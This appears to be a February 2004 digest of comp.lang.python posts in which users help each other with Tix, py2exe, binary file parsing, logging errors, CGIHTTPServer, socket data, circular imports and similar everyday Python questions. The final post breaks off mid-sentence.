From stardif10 at hotmail.com  Mon Feb  9 23:47:54 2004
From: stardif10 at hotmail.com (Sam)
Date: Tue, 10 Feb 2004 15:47:54 +1100
Subject: Tix on Windows
In-Reply-To: <c07bdn$cqg$05$1@news.t-online.com>
References: <40272eda$0$5224$afc38c87@news.optusnet.com.au>
	<c07bdn$cqg$05$1@news.t-online.com>
Message-ID: <40286268$0$18303$afc38c87@news.optusnet.com.au>



Martin v. L?wis wrote:
> Sam wrote:
> 
>> Just wondering if there's any chance of a Tix implementation for the 
>> Windows version of Python in upcoming releases of Python?
> 
> 
> If all goes well, Python 3.4 will ship with Tix.
> 
> Regards,
> Martin
> 

hehe yes, I hope you meant 2.4 :) Has there been any release date set 
for 2.4? even just some kind of approximation?



From peterstrempel at yahoo.com  Sat Feb 21 15:32:50 2004
From: peterstrempel at yahoo.com (Peter Strempel)
Date: Sat, 21 Feb 2004 21:32:50 +0100
Subject: _ssl.pyd in py2exe ???
References: <8089854e.0402210443.1f220525@posting.google.com>
Message-ID: <isrkg1-q33.ln1@ID-66900.news.dfncis.de>

Fuzzyman wrote:
> large........ but why on earth in an anagram finder is _ssl.pyd (500k)
> being bundled in with it ???


You probably have some dependency on socket somewhere, which pullsin the ssl
module.


 Peter


From newsgroups at jhrothjr.com  Thu Feb 26 06:03:41 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Thu, 26 Feb 2004 06:03:41 -0500
Subject: Newbie lost(new info)
References: <mailman.113.1077727206.8594.python-list@python.org><403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl><mailman.132.1077738332.8594.python-list@python.org><103q9kkjbru46bb@news.supernews.com><403d3b33$0$11500$3a628fcd@reader2.nntp.hccnet.nl><103qid3gv1s2q47@news.supernews.com>
	<mailman.150.1077786326.8594.python-list@python.org>
Message-ID: <103rkk5skv7h4d@news.supernews.com>


"Angelo Secchi" <secchi at sssup.it> wrote in message
news:mailman.150.1077786326.8594.python-list at python.org...
>
> John and Anthon thanks for your help.
> If I did it correctly this is the outcome of the code you asked me to
> try:
>
> >from binascii import hexlify
> >inf = file('foo','rb')
> >data = inf.read(1970) # 1970 is the exact length of the line
> >for i in range(4):
> >     index = i * 32
> >     print hexlify(data[index: index+32])
>
>
> 3131313131313131312030313032323230313033343130323238353332303031
> 3220202020203032323835333230303132303030303031303030303030314338
> 3930303030303120203939333531302030313130303030312020313220313335
> 313030313032323230313033343133343146ee3bb40000000000000000465de3
>
>
>
> >from binascii import hexlify
> >inf = file('foo','rb')
> >data = inf.read(1970)
> >for i in range(223):
> >     index = i * 4 + 113
> >     print hexlify(data[index: index + 4])
>
>
> 46ee3bb4 (I know that this should be 15612852)
> 00000000 (I know that this should be 0)
> 00000000 (I know that this should be 0)
> 465de39a (I know that this should be 6153114)
> 00000000 (I know that this should be 0)
> 00000000 (I know that this should be 0)
> ...
>
>
> John just to understand what you said, if the file is in IBM propietary
> binary format (EBCDIC ?) I cannot convert it in ASCII using Python?

The character data seems to be in ASCII, so it won't be any
problem.

I'm going to have to go onto
the IBM site later today to check the floating point formats; someone who
knows IEEE-488 should be able to tell you whether or not those match
standard formats, though.

John Roth
>
> Thanks again
> Angelo
>
>
>
>
>
>
>
> On Wed, 25 Feb 2004 20:18:47 -0500
> "John Roth" <newsgroups at jhrothjr.com> wrote:
>
> >
> > "Anton Vredegoor" <anton at vredegoor.doge.nl> wrote in message
> > news:403d3b33$0$11500$3a628fcd at reader2.nntp.hccnet.nl...
> > > "John Roth" <newsgroups at jhrothjr.com> wrote:
> > >
> > > >For the rest of it, I'd like to see a *real* hex dump in mainframe
> > > >format. From what you've given us so far I'm not certain whether
> > > >the struct module can convert the data for you.
> > >
> > > Probably what John wants to see is the output of something like
> > > this:
> > >
> > > #one 'line' of data (since it's a binary file there is no real line
> > > #ending convention: a line is just a specific number of bytes long,
> > > #it's important to find out how many exactly)
> > >
> > > from binascii import hexlify
> > > inf = file('somefile','rb')
> > > data = inf.read(1005) #a 113 bytes string + 232 4 bytes floats
> > > L = map(hexlify,data)
> > > print L
> > >
> > > Anton
> >
> > Thank you! I wasn't aware of that module. It looks like it
> > should do exactly what's needed.
> >
> > Although this would probably do instead of the last 2 lines
> > (and excuse the fact that it's real ugly code, as well as
> > untested)
> >
> > for i in range(4):
> >     index = i * 32
> >     print hexlify(data[index: index+32])
> > for i in range(232):
> >     index = i * 4 + 113
> >     print hexlify(data[index: index + 4])
> >
> > John Roth
> > >
> > >
> >
> >
> > -- 
> > http://mail.python.org/mailman/listinfo/python-list
>
>
> --
> ========================================================
>  Angelo Secchi                     PGP Key ID:EA280337
> ========================================================
>   Current Position:
>   Graduate Fellow Scuola Superiore S.Anna
>   Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
>   ph.: +39 050 883365
>   email: secchi at sssup.it www.sssup.it/~secchi/
> ========================================================
>




From adamba at gte.net  Wed Feb 25 17:55:34 2004
From: adamba at gte.net (Adam Barr)
Date: 25 Feb 2004 14:55:34 -0800
Subject: Comments requested: brief summary of Python
References: <ce782195.0402232218.6e64177c@posting.google.com>
	<2ae25c6b.0402241324.38c87c08@posting.google.com>
Message-ID: <ce782195.0402251455.410c38c5@posting.google.com>

paddy3118 at netscape.net (Paddy McCarthy) wrote in message news:<2ae25c6b.0402241324.38c87c08 at posting.google.com>...
> adamba at gte.net (Adam Barr) wrote in message news:<ce782195.0402232218.6e64177c at posting.google.com>...
> > For a book I am working on, I have written a brief (9 page) summary
> > of Python. The intent of this is that an experienced programmer who
> > did
> > not know Python would be able to get enough information to read and
> > understand Python programs. It is not meant to be a 100% complete
> > summary of the language, but everything in there should be correct.
> > 
>  <<SNIP>>
> > The file is at
> > 
> > http://www.proudlyserving.com/language/python.pdf
> > 
> > I have written similar summaries for other languages and will
> > hopefully post them (with a virtually identical message) in the
> > appropriate newsgroups in the next few days.
> > 
> > Thank you.
> > 
> > - Adam Barr
> > adamba at gte.net
> 
> Hi Adam.
> First off, Congratulations, I read the Perl and Python PDFs and saw
> nothing that I thought you had purposefully written to start a
> language war.
> 
> I'll confine my comments to the Python PDF  (so I don't re-kindle any
> wars :-).
> 
> 
> I made a few notes whilst reading through your file that I will add at
> the end but I can't help but think that your description of Python is
> for using it in an un-Pythonic manner (as others have stated). Whilst
> you may explain enough Python for someone to follow any examples you
> have in your book, I fear that the algorithms and language structures
> that you may use would not be those favoured by Python programmers.
> I'll touch on some of these areas later.
> 
> The notes are on points roughly in the order given in your document.
> 
> 1) You mention variable for i and then state that variables cantchange
> their type once set. In Python we like to call the 'i' in your example
> a name and say it points to an object and that the *object* has a type
> and the type of that, individual object will not change. The name can
> be made to point to another object that could have a different type
> but the type of the first object is not changed.
> 
> [other stuff deleted]

Excellent comments, thanks. Especially the comment above about names
vs. objects, that is very clear and I will change it to speak about
them that way.

- adam


From tdelaney at avaya.com  Wed Feb  4 21:25:36 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Thu, 5 Feb 2004 13:25:36 +1100
Subject: an ingrate newbie complains
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE0128F37D@au3010avexu1.global.avaya.com>

> From: Rich Krauter
> 
> Are some of these examples only working because and y have been
> initialized by previous runs?
> I tried deleting x and y between list comprehensions and they 
> don't work anymore.

Indeed.

>>> f = lambda x,y: x*y+2*pow(y,2)
>>> g = lambda x: 3*pow(x,2)
>>> l = [1,2,3,4,5]
>>> [f(x,y) for (x,y) in [(x,g(x)) for x in l] if y>19]
[1539, 4800, 11625]
>>> del x
>>> del y
>>> [f(x,y) for x in l for y in [g(x)] if y>19]
[1539, 4800, 11625]
>>> del x
>>> del y
>>> [f(x,y) for y in [g(x)] if y>19 for x in l]
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: name 'x' is not defined
>>> [f(x,y) for y in [g(x)] for x in l if y>19]
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: name 'x' is not defined

Try expanding them to the non-list comp form and see where the problems are ...

Tim Delaney



From simoninusa2001 at yahoo.co.uk  Tue Feb  3 02:32:21 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 2 Feb 2004 23:32:21 -0800
Subject: Installing wxPython and Friends
References: <27d2bd1f.0402021058.56e6b4c6@posting.google.com>
	<30260531.0402021553.acc06ca@posting.google.com>
Message-ID: <30260531.0402022332.4c18bfc0@posting.google.com>

OK, I take it all back - I looked on RedHat 9 CD #1 and rpm -Uvh'd
GTK2 and it informed me I already had 2.2.1 installed.

So that meant I could skip trying to install ATK/GLib2 and just went
straight onto installing wxGTK and wxPython from RPMs too!

I then installed McMillan Installer and UPX and now have Windows and
Linux distributable wxPython/TKinter apps - bloody great! Installer is
so much nicer than py2exe too.

I might just forget PyQT now....


From rmunn at pobox.com  Fri Feb 20 14:54:08 2004
From: rmunn at pobox.com (Robin Munn)
Date: Fri, 20 Feb 2004 19:54:08 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<40323814.3129EA4B@engcorp.com>
Message-ID: <ABtZb.12104$PY.8414@newssvr26.news.prodigy.com>

Peter Hansen <peter at engcorp.com> wrote:
> Harry George wrote in a thought-provoking post:
>> 
>> Of course, even in the natural history phase pioneers and advance
>> scouts are capable of detecting an easier pass through the mountains
>> of comlexity.  If 20 people from varied background, each of whom has
>> worked in several languages, tell me that Python is a really great
>> language, then I'll take that as a significant data point.  Especially
>> if they are dumping their previously favorite languages (as varied as
>> COBOL, Perl, Java, C++, VB, Modula-3, Lisp, Prolog) to focus on
>> Python.
>
> My background is (roughly in order) APL, FORTRAN, BASIC, Assembly, C, 
> university :-), Pascal, C++, Object Pascal, Java, LabVIEW, and Python 
> (with a dozen others I forget) and I'm telling you Python is a really
> great language.  I've also dumped my previously favourite languages
> (to wit, BASIC, C, C++, Delphi, and Java) to focus on Python.
>
> Now all you need are 19 others and we'll have a significant data point.
> (Signifying what?  That's what I want to know. ;-)

I would say "Signifying nothing", but that would mean that all this is
"a tale told by an idiot, full of sound and fury," if you believe the
Bard. I don't feel furious, and I don't think I'm an idiot, so never
mind. (Although if you have other opinions on the latter subject, feel
free *not* to let me know.) <very big grin>

Anyway -- I started with BASIC at age six. Learned Pascal and C on my
own. Also learned C++, but never really grokked object-oriented
programming until much later in my programmer's development. Next came
assembler, which on register-starved Intel hardware was way more
complicated than it really needed to be. In college I was exposed to
Java and Lisp, but never did much with them beyond that one class,
because I had discovered Perl! Here was a language with arrays that
automatically re-sized themselves to fit the amount of data you put in
them -- bliss! And built-in hash table data types were pretty cool too;
they made several different algorithms a lot easier to code up. I also
discovered PHP, which I also thought was very cool.

Then I got out of college and started using these languages every day,
for a living. I still liked Perl, but it was beginning to get a bit hard
for me to read my own code six months later. Not that I was writing
"write-only" code, but the multiplicity of $ and @ symbols mixed in with
my code was actually distracting me from the code's meaning. I found I
was having to devote part of my brainpower to parsing the syntax, and
that was slowing me down. And then a co-worked introduced me to Python.
I was weirded out by the "indentation thing" at first, but quickly
learned to like not having to look for braces. And Python just "felt"
clean. I can't explain it very well, but Python's syntax just never got
in the way of my reading, which left me free to concentrate all my
attention on what the code was actually doing. I dumped my previously
favorite language, Perl, in favor of Python and haven't looked back
since.

-- 
Robin Munn
rmunn at pobox.com


From jcarlson at nospam.uci.edu  Thu Feb  5 10:39:53 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 07:39:53 -0800
Subject: Bitsets in Python
In-Reply-To: <94b59a36.0402050550.442a93d1@posting.google.com>
References: <pan.2004.02.03.17.36.10.927614@presidency.com>
	<bvpqlt$82s$3@news.service.uci.edu>
	<94b59a36.0402050550.442a93d1@posting.google.com>
Message-ID: <bvto8j$t54$1@news.service.uci.edu>


> BitSets crop up in (at least) C++ and Java. They allow you operate on
> a sequence of bits using a friendlier interface than hacking about
> with ^,|,& et al on integers. The Java BitSet interface:

I would suggest subclassing int:

class bitset(int):
     def __getitem__(self, k):
         return (2**k & self) >> k
     def __setitem__(self, k, v):
         #this doesn't work
         if v:
             return bitset(2**k | self)
         elif self[k]:
             return bitset(2**k ^ self)

Unfortunately, due to the semantics of item setting a[i] = j, you cannot 
return anything from a setitem, and integers are immutable, so you 
cannot modify bitset directly.

Sounds like something in need of a custom class.  Thankfully it wouldn't 
be too difficult.

  - Josiah


From bokr at oz.net  Thu Feb 26 13:27:30 2004
From: bokr at oz.net (Bengt Richter)
Date: 26 Feb 2004 18:27:30 GMT
Subject: Size limit on compiling?
References: <Ijb%b.75$a6.33911@newshog.newsread.com>
	<403E0326.7FD9EDA8@engcorp.com>
Message-ID: <c1ldqi$vcm$0@216.39.172.122>

On Thu, 26 Feb 2004 09:31:02 -0500, Peter Hansen <peter at engcorp.com> wrote:

>Leif K-Brooks wrote:
>> 
>> I have a Python file of 1.2MB (it's a static database, not code, so it
>> really does have to be that big). It doesn't seem to get compiled when
>> imported (there's no .pyc file created), so importing it takes a few
>> seconds which I would really like to avoid. Is Python not compiling it
>> because of the large size? Is it because the whole file is on one really
>> long line? How can I fix this?
>
>If it's the main file, it won't get compiled anyway.  Only files
>that are imported are compiled.  In any case, see Aahz' answer for the
>best approach.
>
If your file is highly structured (or you can separately prepare a version that is),
you might consider accessing it via mmap and struct (or even without struct,
if it's e.g., a flat array of fixed-length strings). You could enhance this
by pre-computing an index and storing it at the end or beginning of the file,
maybe data for a dict of (offset,length) values, similarly packed/retrieved
from the raw binary file (byte string) format. If you open the file read-only,
an efficient OS will not even page in or allocate swap file space for anything
you don't access (though 1.2 mb these days is not a big worry ;-).
But if your data is complicated, pretty soon you'd be reinventing pickle
and various db things, and you might as well use what's available already.

Regards,
Bengt Richter


From paulpaterson at users.sourceforge.net  Sun Feb  1 13:45:09 2004
From: paulpaterson at users.sourceforge.net (Paul Paterson)
Date: Sun, 01 Feb 2004 18:45:09 GMT
Subject: vb2Py 0.2.1 - VB to Python Conversion
References: <lOZSb.410$QU1.100@fe2.texas.rr.com>
Message-ID: <VObTb.972$QU1.893@fe2.texas.rr.com>

There was a problem with the initial ZIP files (I forgot to FTP in binary
mode!) - if you downloaded the files and received an error when unzipping
then please try again now, it should work.

Many thanks to CW for reporting this problem - I tried to respond to your
email but got a failed delivery report.

Paul




From bignose-hates-spam at and-benfinney-does-too.id.au  Wed Feb 11 20:11:03 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 12 Feb 2004 12:01:03 +1050
Subject: Word count from file help.
References: <oiAWb.9926$jk2.28236@attbi_s53>
Message-ID: <slrnc2llqn.16j.bignose-hates-spam@rose.localdomain.fake>

On Thu, 12 Feb 2004 01:04:20 GMT, jester.dev wrote:
> I'm learning Python from Python Bible

Welcome, I hope you're enjoying learning the language.

> problems with this code below. When I run it, I get nothing.

More information required:

How are you invoking it (what command do you type)?  Does the program
appear to do something, then exit?

You've told us what you expect the program to do (thanks!):

> It should open the file poem.txt (which exists in the current
> directory) and count number of times any given word appears in the
> text. 

Diagnostics:

When you encounter unexpected behaviour in a complex piece of code, it's
best to test some assumptions.

What happens when the file "poem.txt" is not there?  (Rename the file to
a different name.)  This will tell you whether the program is even
attempting to read the file.

What happens when you import this into the interactive Python prompt,
then call CountWords on some text?  This will tell you whether the
function is performing as expected.

And so on.


One possible problem that may be a mistake in the way you pasted the
text into your newsgroup message:

> #!/usr/bin/python
> [...]
> import string
>     
> def CountWords(Text):
> [...]
>         for CharacterIndex in range(0,len(Text)):
> [...]
>                 if(PiecesOfWords.find(CurrentCharacter)!=-1):
> [...]
>                 else:
>                                 if(CurrentWord!=""):
> [...]
>                                 if (__name__=="__main__"):
> [...]

Indentation defines structural language blocks in Python.  The "def",
"for", "if" structures above will encompass *all* lines below them until
the next line at their own indentation level or less.

In other words, if the code looks the way you've pasted it here, the
"def" encompasses everything below it; the "for" encompasses everything
below it; and the "if(PiecesOfWords...):" encompasses everything below
it.  Including the "if( __name__ == "__main__" ):" line.

Thus, as you've posted it here, the file imports the string module,
defines a function -- then does nothing with it.

Please be sure to paste the text literally in messages; or, if you've
pasted the text exactly as it is in the program, learn how Python
interprets indentation:

    <http://www.python.org/doc/current/ref/indentation.html>

-- 
 \       "You've got the brain of a four-year-old boy, and I'll bet he |
  `\                      was glad to get rid of it."  -- Groucho Marx |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From usenet at ixokai.net  Sun Feb  8 23:13:51 2004
From: usenet at ixokai.net (Ixokai)
Date: Sun, 8 Feb 2004 20:13:51 -0800
Subject: Python + COM problem. :(
References: <102bnbn155qdp9d@corp.supernews.com>
	<c06c5r$1qe8$1@arachne.labyrinth.net.au>
Message-ID: <102e286nvgqpu40@corp.supernews.com>

Well, yes, I know its specific to that machine.. i said that :) I just
thought it might have something to do with something wrong w/ my python
installation, since i've tried a repair-- reboots-- and reinstallations of
Office, all to no avail.

--Stephen

"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
news:c06c5r$1qe8$1 at arachne.labyrinth.net.au...
> Ixokai wrote:
>
> > Greetings...
> >
> > I'm working on automating Word, and have run into an interesting problem
on
> > one workstation. If Word is not already running, then I can't run the
> > 'Dispatch' to get the word application. On my PC at work, that's not the
> > case.
>
> It is a problem specific to that machine then!  Check that there aren't
> any "phantom" word processes still running - use the Task Manager.
>
> Otherwise, use the Office CD to 'repair' the installation.
>
> Mark.
>




From maug at poczta.onet.pl  Thu Feb 19 06:17:07 2004
From: maug at poczta.onet.pl (Marek Augustyn)
Date: Thu, 19 Feb 2004 12:17:07 +0100
Subject: logging breakdown
Message-ID: <c125vm$q7k$1@news.onet.pl>

Hello,

I'm getting strange exception raised using module logging.
It's strange because it happens only sometimes, and it happens
in different places (but always in a logging method).
i.e. this line of code:

log.info('SMS sent')

produces following traceback:

Traceback (most recent call last):
  File "L:\_progs\python\test\send_sms.py", line 36, in send_sms
    log.info('SMS sent')
  File "L:\Python23\lib\logging\__init__.py", line 893, in info
    apply(self._log, (INFO, msg, args), kwargs)
  File "L:\Python23\lib\logging\__init__.py", line 994, in _log
    self.handle(record)
  File "L:\Python23\lib\logging\__init__.py", line 1004, in handle
    self.callHandlers(record)
  File "L:\Python23\lib\logging\__init__.py", line 1037, in callHandlers
    hdlr.handle(record)
  File "L:\Python23\lib\logging\__init__.py", line 592, in handle
    self.emit(record)
  File "L:\Python23\lib\logging\__init__.py", line 684, in emit
    self.handleError(record)
  File "L:\Python23\lib\logging\__init__.py", line 636, in handleError
    traceback.print_exception(ei[0], ei[1], ei[2], None, sys.stderr)
  File "L:\Python23\lib\traceback.py", line 123, in print_exception
    print_tb(tb, limit, file)
  File "L:\Python23\lib\traceback.py", line 69, in print_tb
    if line: _print(file, '    ' + line.strip())
  File "L:\Python23\lib\traceback.py", line 13, in _print
    file.write(str+terminator)
IOError: [Errno 9] Bad file descriptor


This is the way I initialize logging:

def initLogger(filename):
    log = logging.getLogger('test')
    formatter = logging.Formatter('%(asctime)s %(name)s %(levelname)s %(message)s')

    # file
    hdlr = logging.FileHandler(filename)
    hdlr.setFormatter(formatter)
    log.addHandler(hdlr)

    # screen
    hdlr = logging.StreamHandler(sys.stdout)
    hdlr.setFormatter(formatter)
    log.addHandler(hdlr)
    
    log.setLevel(logging.DEBUG)
    
    return log

log = initLogger('test.log')

I pass variable "log" to functions requesting it.
My script runs continually, sleeping 1h, doing something, sleeping 1h, etc.
Is it possible that file handler expires or something?

Do I do something wrong?

Thanks,
Marek Augustyn


From bblochl at fh-lausitz.de  Mon Feb 23 10:50:53 2004
From: bblochl at fh-lausitz.de (bblochl)
Date: Mon, 23 Feb 2004 16:50:53 +0100
Subject: using CGIHTTPserver to test html forms
In-Reply-To: <55125$403a17df$42a655ea$9537@msgid.meganewsservers.com>
References: <55125$403a17df$42a655ea$9537@msgid.meganewsservers.com>
Message-ID: <403A215D.8040908@fh-lausitz.de>

William D. Gill schrieb:

>I use a notebook (win 98) because of its portability.  Unfortunately it is
>very slow.  When I try to develop and test python cgi scripts I use Xitami
>as a local server, but with python, Xitami, and my text editor running it
>becomes next to impossible to work.  The keyboard and mouse are slowed to
>painful levels.  Actual execution of the webpage/script is tolerable, but to
>edit I have to stop the server.  I was wondering if using CGIHTTPserver
>would be a better solution and if anyone can give me an example script
>(simple enough for a newbie).  Every reference I see to CGIHTTPserver says
>it's good for testing your web forms, but they don't show me how.
>
>Thanks
>
>Bill
>
>
>
>
>  
>
#httpd.py

from BaseHTTPServer import HTTPServer
from CGIHTTPServer import CGIHTTPRequestHandler
serveradresse = ("",8080)
server = HTTPServer(serveradresse, CGIHTTPRequestHandler)
server.serve_forever()

I have tried that on Win2k starting in the editor Window of IDle and 
Python will hang. (On other systems it works ok - I have not found the 
reason yet!) On my linux- system I have no problems of that kind. On a 
Windows-network I couldn`t get it to work at all.

On my test-sytem (Win2k) it works well, if you start it from a 
DOS-Window from the DOS-Prompt by typing
python  httpd.py
The html-files must be in the same directory a s the file httpd.py. 
cgi-files must reside in a subdirectory namend cgi-bin.

To test for instance the html-file name.html, you start the local server 
by typing http://localhost:8080/name.html  (or 127.0.0.1:8080/name.html) 
in the browser  adress line.

Best regards and good luck!
Bernhard





From bdesth.quelquechose at free.quelquepart.fr  Sat Feb 28 08:03:32 2004
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Sat, 28 Feb 2004 14:03:32 +0100
Subject: Python as replacement for PHP?
In-Reply-To: <c1obji$8m9$1@solaris.cc.vt.edu>
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
Message-ID: <40408c29$0$2435$626a14ce@news.free.fr>

Bart Nessux wrote:
> Erik Johnson wrote:
> 
>> This is somewhat a NEWBIE question...
>>
>>     My company maintains a small RDBS driven website. We currently 
>> generate
>> HTML using PHP.  I've hacked a bit in Python, and generally think it is a
>> rather cool language. I've done Perl and like it, there are a few 
>> features
>> of PHP I like but overall am not too excited about it. 
(snip)

>> To those that have used PHP: what am I potentially 
>> losing
>> that Python really can't replace?
>>
>>     So, I'm hoping there are some people out there that actually have 
>> some
>> expereience with both Python & PHP and can give me some solid, informed
>> advice about PHP vs. Python, in general and particularly on the following
>> points: 

(snip)
> 
> When it comes to dynamic, DB driven sites, PHP is the only way to go. 
> Python is not even close to being suited for this task. 

(snip)

> A serious business decision? PHP would be the only winner here. You 
> should not even be considering another language for this, it borders on 
> stupidity. 

(snip)

Bart, could you please back your (strong) assertions with at least one 
argument ?

AFAIK, there is a whole lot of python tools for web developpement, and I 
don't really see any evidence that one of the two languages is more or 
less suited to this kind of task.

The only points I see in favor of PHP are :
- it's a de facto standard, widely used, widely available, and well 
established
- there may be some specific libs not (currently) available in Python.

Bruno



From news at yebu.de  Thu Feb 19 09:45:38 2004
From: news at yebu.de (Karl Scalet)
Date: Thu, 19 Feb 2004 15:45:38 +0100
Subject: multiply utple or list
In-Reply-To: <4034c694$0$706$5402220f@news.sunrise.ch>
References: <4034c694$0$706$5402220f@news.sunrise.ch>
Message-ID: <c12i6m$1ddmkb$1@ID-141451.news.uni-berlin.de>

Jim Red wrote:
> what is the best way to multiply a tuple or list by a given value
> 
> exp.
> multiply (4, 5) by 2 => (8, 10)
> 
> cheers
> 
> jr

i.e.:

 >>> import operator
 >>> [ operator.mul(x,2) for x in (4,5)]

regards,
Karl



From stuffduff at cox.net  Thu Feb  5 10:02:35 2004
From: stuffduff at cox.net (Sean)
Date: 5 Feb 2004 07:02:35 -0800
Subject: SWIG related: Error after installing m2crypto undefined symbol:
	EVP_rc5_32_12_16_ofb
References: <3222fe00.0402031441.6dc93896@posting.google.com>
	<bvphmh$gj8$1@mawar.singnet.com.sg>
	<bvpl5u$i35$1@mawar.singnet.com.sg>
	<3222fe00.0402041146.33bda09c@posting.google.com>
	<bvs5uu$da2$1@reader01.singnet.com.sg>
Message-ID: <3222fe00.0402050702.596035af@posting.google.com>

> I don't understand. The following command finds nothing:

Actually I have 0.12, but the z2s.py from it's Zope folder.
Modified to the newer python version checker.

I'm working OK for the /usr/local/zope/z2s.py, but still
not up to speed on the instances.  Still trying to determine
what's out of synch there.

Thanks again for the valuable feedback.  If you have any other
suggestions I'd appreciate them!

TIA


From stewart at midtoad.homelinux.org  Tue Feb 24 01:58:00 2004
From: stewart at midtoad.homelinux.org (stewart)
Date: Tue, 24 Feb 2004 06:58:00 GMT
Subject: AttributeError: 'module' object has no attribute 'urlopen'
References: <mailman.188.1077523128.27104.python-list@python.org>
Message-ID: <YBC_b.591879$JQ1.23109@pd7tw1no>

dont bother wrote:

> Anyone knows how to fix this and why I am getting this
> error?

well, the sample works fine in the shell.  so the error is due to the
different way you refer to external modules when running from a file. 




From peter at engcorp.com  Wed Feb 18 14:02:41 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 14:02:41 -0500
Subject: socket send query
References: <69fe7511.0402181012.3187517f@posting.google.com>
Message-ID: <4033B6D1.C7212B3F@engcorp.com>

connections cardiff wrote:
> 
> if i send the hex data values with a socket send then python assumes i
> am trying to send a string of ascii characters and when i look at what
> was sent in the sniffer i see the data i sent has been coverted into
> their corresponding hex values.  I want python to leave it alone and
> send it.
> 
> i guess if my hex values had acsii equivalents i could send them and
> they would be converted to the data i want but i dont think all my hex
> data has acsii equivalents..
> 
> is there another way i should be doing this?

It sounds to me like you have a string with two characters per byte
of intended data, where those characters are the digits in the hex
representation of the data.  For example '45CE123F'.  Is that right?

If that's the case, you are probably looking for the binascii module
and specifically its unhexlify() method.  For example:

>>> import binascii
>>> binascii.unhexlify('45CE123F')
'E\xce\x12?'
>>> len(_)        # _ means last result in an interactive session
4

As you can see, the original 8-byte string with "hex" in it has
resulted in four bytes of actual data.

Another approach is to store your data as integers in a list, then
convert to a string:

>>> d = [0x45, 0xce, 0x12, 0x3f]
>>> d
[69, 206, 18, 63]
>>> ''.join([chr(x) for x in d])
'E\xce\x12?'

As you can see, the same results as before but without starting with
a string containing the hex representation of the data.

> PS.  IN CASE YOU DIDNT NOTICE I AM A NEWBIE!

In that case, always consider posting small actual snippets of the
code you are trying to write, to provide useful context and help
give an idea at what level the responses should be targetted.

-Peter


From ken at perfect-image.com  Tue Feb 24 15:16:47 2004
From: ken at perfect-image.com (Ken Godee)
Date: Tue, 24 Feb 2004 13:16:47 -0700
Subject: wxWindows changes name
In-Reply-To: <wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>	<480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
Message-ID: <403BB12F.8030208@perfect-image.com>

Piet van Oostrum wrote:

>>>>>>Tim Roberts <timr at probo.com> (TR) wrote:
> 
> 
> TR> Ben Finney <bignose-hates-spam at and-benfinney-does-too.id.au> wrote:
> 
>>>Just when we thought things were looking up on the whole "Windows as a
>>>trademark" for something that Microsoft didn't originate in the first
>>>place.
>>>
>>>The wxWindows project have announced that they are changing their name
>>>to wxWidgets, specifically to avoid problems with the Microsoft product
>>>name.
> 
> 
> TR> That's enough to make a guy angry.  Not at Julian or Robin, but at the
> TR> bozos at Microsoft who have the unmitigated gall to suggest that ANY use of
> TR> the word "windows" could possibly have any impact on their galactic empire.
> 
> TR> Did you hear about the teenager named Mike Rowe, who decided to call his
> TR> little company "Mike Rowe Soft"?  When he registered his domain, the
> TR> Redmond lawyers came a-knocking, demanding money.  Fortunately, the bad
> TR> press caused them to change their mind in this case.
> 
> So what will happen to the X Window system, often referred to as XWindows.
> And what about the comp.windows.x newsgroup hierarchy?

Couple points,

1. The X window systems name is not "X Windows", it is simply
'X' or 'X11' . Just alot of people wrongly call it Xwindows.

2. I'm not defending MS in anyway, but if one doesn't
defend it's trade mark it will become non defendable
and you must defend it against all, not pick and choose.
Hell, look at what Harley Davidson's done in tha last
couple of years. Trademarked/patented everything including
the sound of thier scooters and they're defending it rigorously.
Just try to open a motorcycle shop called something like "Hog Heaven" or
anything with the name "Hog" in it and see how long before
you get a letter, before the grand opening I'd bet.









From dj00302003 at yahoo.com  Fri Feb 13 05:20:06 2004
From: dj00302003 at yahoo.com (Jay Davis)
Date: 13 Feb 2004 02:20:06 -0800
Subject: Multiply a tuple by a constant
Message-ID: <1d17eeb7.0402130220.7258a5bd@posting.google.com>

I often need to multiply a tuple by a
constant and the methods I use now are
not very pretty.  The idea is to get a
new tuple that is some factor times the
start tuple, like  'newtup = .5 * oldtup'.

Is there a slick way to do this?


From me at privacy.net  Tue Feb 24 08:17:25 2004
From: me at privacy.net (Duncan Booth)
Date: 24 Feb 2004 13:17:25 GMT
Subject: Newbie - circular import problem
References: <db1b46bd.0402240215.4d7ea76a@posting.google.com>
Message-ID: <Xns949987298506Eduncanrcpcouk@127.0.0.1>

stuart_white_ at hotmail.com (sw) wrote in
news:db1b46bd.0402240215.4d7ea76a at posting.google.com: 

> Could someone explain what is going wrong here? I'm still getting up
> to speed with python, but, to me, this looks like the import of b is
> occuring before ClassA has been defined. Is that right? How can I
> correct this, apart from amalgamating the two into a single file?
> 

There are some posts giving solutions to this, but I'm not sure that any of 
them really explain the problem.

Remember that import statements and class/def statements, like almost 
everything in Python are executed at runtime. Very little (apart from 
compiling) happens at compile time.

When an import statement is executed it:

    	finds the module and compiles or loads it as appropriate.

     then, if the module code has already started executing it simply 
returns the module.

     otherwise, it executes the module code and then returns the module.

So if b is imported first, it imports a, a tries to import b and simply 
gets back a reference to b as it currently exists: i.e. without the class 
it will later define. If a is imported first then it happens the other way 
